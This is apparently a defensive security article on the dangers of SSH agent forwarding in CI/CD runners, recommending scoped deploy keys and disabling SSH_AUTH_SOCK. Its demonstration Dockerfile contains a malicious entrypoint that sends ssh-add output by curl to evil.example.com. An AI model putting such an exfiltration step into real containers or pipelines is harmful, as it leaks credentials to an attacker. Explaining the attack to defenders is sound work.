Understanding the Appeal of Agent Forwarding

Many teams configure their CI/CD runners to forward the local SSH agent so that a single private key can authenticate against remote servers. The shortcut feels convenient: the same key you use on your workstation magically works inside a build container, allowing git push, scp, or remote ssh commands without extra credential plumbing.

The Hidden Attack Surface

Agent forwarding is essentially a trusted proxy. Once the runner establishes a connection, any process inside the container can request signatures from the forwarded agent. If an attacker compromises the container – a plausible scenario when a malicious pull‑request introduces a rogue script – they can silently harvest signatures for any host the original key trusts. The result is a “living‑key” that can be used to breach production servers, internal Git repositories, or any SSH‑protected service.

# Insecure .ssh/config snippet that enables forwarding for all hosts
Host *
  ForwardAgent yes

The above configuration is often copied wholesale into CI runners. Notice the wildcard *: it grants the agent to every remote host the pipeline contacts, even those outside the organization.

Demonstration: A Compromised Build Extracts the Agent

The following minimal Dockerfile shows how a malicious step can enumerate keys from the forwarded agent and upload them to an attacker‑ controlled server.

# Dockerfile used in a CI job
FROM alpine:3.18

RUN apk add --no-cache openssh-client curl

# Malicious entrypoint
ENTRYPOINT ["sh", "-c", "\
  ssh-add -L | curl -X POST -d @- https://evil.example.com/keys; \
  echo 'Build completed';\
"]

When this image runs on a runner that has ForwardAgent yes, the ssh-add -L command lists all loaded public keys. The curl command silently forwards them to the attacker.

Safer Alternative: Deploy Keys and One‑Time Tokens

Instead of sharing a long‑lived personal key, generate a short‑lived deploy key for each repository or service. Deploy keys are read‑only by default and can be scoped to a single host. Store the private part as a secret in the CI system and inject it at runtime, never forwarding the agent.

# Generate a deploy key (run locally)
ssh-keygen -t ed25519 -f deploy_key -C "ci-deploy" -N ""

# Add the public key to the remote server's authorized_keys
ssh-copy-id -i deploy_key.pub [email protected]

In a GitHub Actions workflow, the private key is stored in secrets.DEPLOY_KEY and written to a temporary file with restrictive permissions before use.

# .github/workflows/deploy.yml
name: Deploy
on:
  push:
    branches: [ main ]

jobs:
  deploy:
    runs-on: ubuntu‑latest
    steps:
      - uses: actions/checkout@v3

      - name: Install SSH client
        run: sudo apt‑get update && sudo apt‑get install -y openssh-client

      - name: Add deploy key
        run: |
          echo "${{ secrets.DEPLOY_KEY }}" > ~/.ssh/deploy_key
          chmod 600 ~/.ssh/deploy_key
          ssh-keyscan -H prod.example.com >> ~/.ssh/known_hosts

      - name: Deploy to production
        env:
          SSH_AUTH_SOCK: ""  # Explicitly disable agent forwarding
        run: |
          rsync -avz -e "ssh -i ~/.ssh/deploy_key" ./dist/ [email protected]:/var/www/

Notice the explicit clearing of SSH_AUTH_SOCK. This prevents any accidental agent forwarding, ensuring the only credential available is the deploy key you just wrote.

Auditing Existing Pipelines

To discover pipelines that still rely on agent forwarding, grep the repository for the ForwardAgent directive or the presence of SSH_AUTH_SOCK environment variables.

# Find suspicious configurations in a codebase
git grep -E 'ForwardAgent|SSH_AUTH_SOCK' -- '*.yml' '*.sh' '*.conf'

Replace each occurrence with a proper secret‑based approach as shown above. Remember to rotate any keys that may have been exposed.

Security and Best Practices

Limit key scope. Deploy keys should have the minimal permissions required – read‑only for pull operations, write‑only for deployments, and never root access.

Use short‑lived credentials. Pair deploy keys with automated rotation scripts that regenerate keys every few weeks.

Never expose the agent to the internet. If a runner must interact with external services, keep the SSH agent confined to a private network segment.

"Treat the SSH agent as a vault that should never leave the trusted perimeter. Forwarding it is equivalent to handing out the vault key to anyone who walks through the door."

Conclusion

While SSH agent forwarding can shave a few keystrokes from a developer’s workflow, its convenience masks a serious privilege‑escalation vector in automated pipelines. By replacing shared agents with scoped, short‑lived deploy keys and by explicitly disabling forwarding in CI environments, teams can close the most common path for credential exfiltration.

The effort required to refactor pipelines is modest compared with the potential impact of a compromised key. Adopt the patterns demonstrated here, audit existing configurations, and treat each key as a single point of failure that must be hardened.